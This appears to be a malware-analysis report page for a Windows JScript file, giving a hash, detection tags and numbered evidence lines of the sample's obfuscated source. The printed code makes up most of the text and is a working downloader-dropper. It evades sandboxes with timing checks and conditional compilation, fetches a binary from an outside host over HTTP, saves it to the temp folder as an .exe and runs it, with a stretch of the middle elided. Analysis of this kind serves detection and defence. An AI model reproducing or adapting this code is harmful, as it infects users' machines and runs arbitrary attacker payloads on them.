20160328_90aa173a3fc37b6a9675371a17811760.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256699aed0538660ca4a3cf43cc8accda279adbdad94104f375e4fa5b012b423fae
Evidence
1var Ttkbihkzl = false;
2var Txmvyno = "CreateObject";
3var Enxpfu = function Orokgmp() {return WScript[Txmvyno]("WScript.Shell");}();
4var Hyuoanjda = 123213;
5var Sikky = "MSXML2.XMLHTTP";
6var Xthxf = 2123213;
7var Wnqsklyrl = 0;
8function Grtlpnptpa(Bkswcjtpa){Enxpfu["Run"](Bkswcjtpa, Wnqsklyrl, Wnqsklyrl);};
9function Mrwjwtwpq(){return Sikky;};
10function Exqcypw(Xbgmldwql, Zcgspjw){return Xbgmldwql - Zcgspjw;};
11function Criyouqg(){return Txmvyno;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Ttkbihkzl = true;
15 @end
16@*/
17var Pxrtzbfyq = "";
18if (Ttkbihkzl)
19{
20function Gkotl(){return 22;};
21var Libycszswk = 0; var Epdynmwau = 0;
22function Rhtadblrle()
23{
24var Hkyaazz = new this["Date"]();
25var Mnmpso = Hkyaazz["getUTCMilliseconds"]();
26WScript["Sleep"](Gkotl());
27var Hkyaazz = new this["Date"]();
28var Eubmrjhk = Hkyaazz["getUTCMilliseconds"]();
29WScript["Sleep"](Gkotl());
30var Hkyaazz = new this["Date"]();
31var Vacnsjbn = Hkyaazz["getUTCMilliseconds"]();
32var Libycszswk = "Igxmacz";
33Libycszswk = Exqcypw(Eubmrjhk, Mnmpso);
34var Epdynmwau = "Dycmtfod";
35Epdynmwau = Exqcypw(Vacnsjbn, Eubmrjhk);
36Pxrtzbfyq = "open";
37return Exqcypw(Libycszswk, Epdynmwau);
38}
39var Goqbyob = false;
40var Omelokn = false;
41for (var Aqzcd = Wnqsklyrl; Aqzcd < Gkotl() * 1; Aqzcd++){if (Rhtadblrle() != Wnqsklyrl){
42Goqbyob = …
49:7… qbyob && Eiqarydzu() && Omelokn){
50function Syxneptvk() {return Enxpfu["ExpandEnvironmentStrings"]("%TEMP%/") + "O1qbiTu6IMp7T8o.exe";};
51 Sebhkgcxpa = Mrwjwtwpq();
52 Udjtp = WScript[Txmvyno](Sebhkgcxpa);
53 var Zvkfs = 1;
54 while (Zvkfs){
55try {
56Udjtp[Pxrtzbfyq]("GET", "http://chibitesafaris.co.tz/ke7sif", false);
57Udjtp["send"]();
58Nwzmddpx = "Sleep";
59do {WScript[Nwzmddpx](Gkotl() * 11)} while (Udjtp["readystate"] < 4 );
60Zvkfs = Wnqsklyrl;
61} catch(Hadyzd){Zvkfs = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Rckmrgevc(Isjcle) {var Zqnflyr = (1, 2, 3, 4, 5, Isjcle); return Zqnflyr;};
64Btzxxmx = WScript[Criyouqg()]("ADODB.Stream");
65Sebhkgcxpa = Btzxxmx;
66Sebhkgcxpa[Pxrtzbfyq]();
67Sebhkgcxpa["type"] = Rckmrgevc(1);
68Sebhkgcxpa["write"](Udjtp["ResponseBody"]);
69Btzxxmx["position"] = Rckmrgevc(Wnqsklyrl);
70Sebhkgcxpa["SaveToFile"](Syxneptvk(), Rckmrgevc(2) );
71Btzxxmx["close"]();
72Grtlpnptpa(Syxneptvk());
73}
74}
75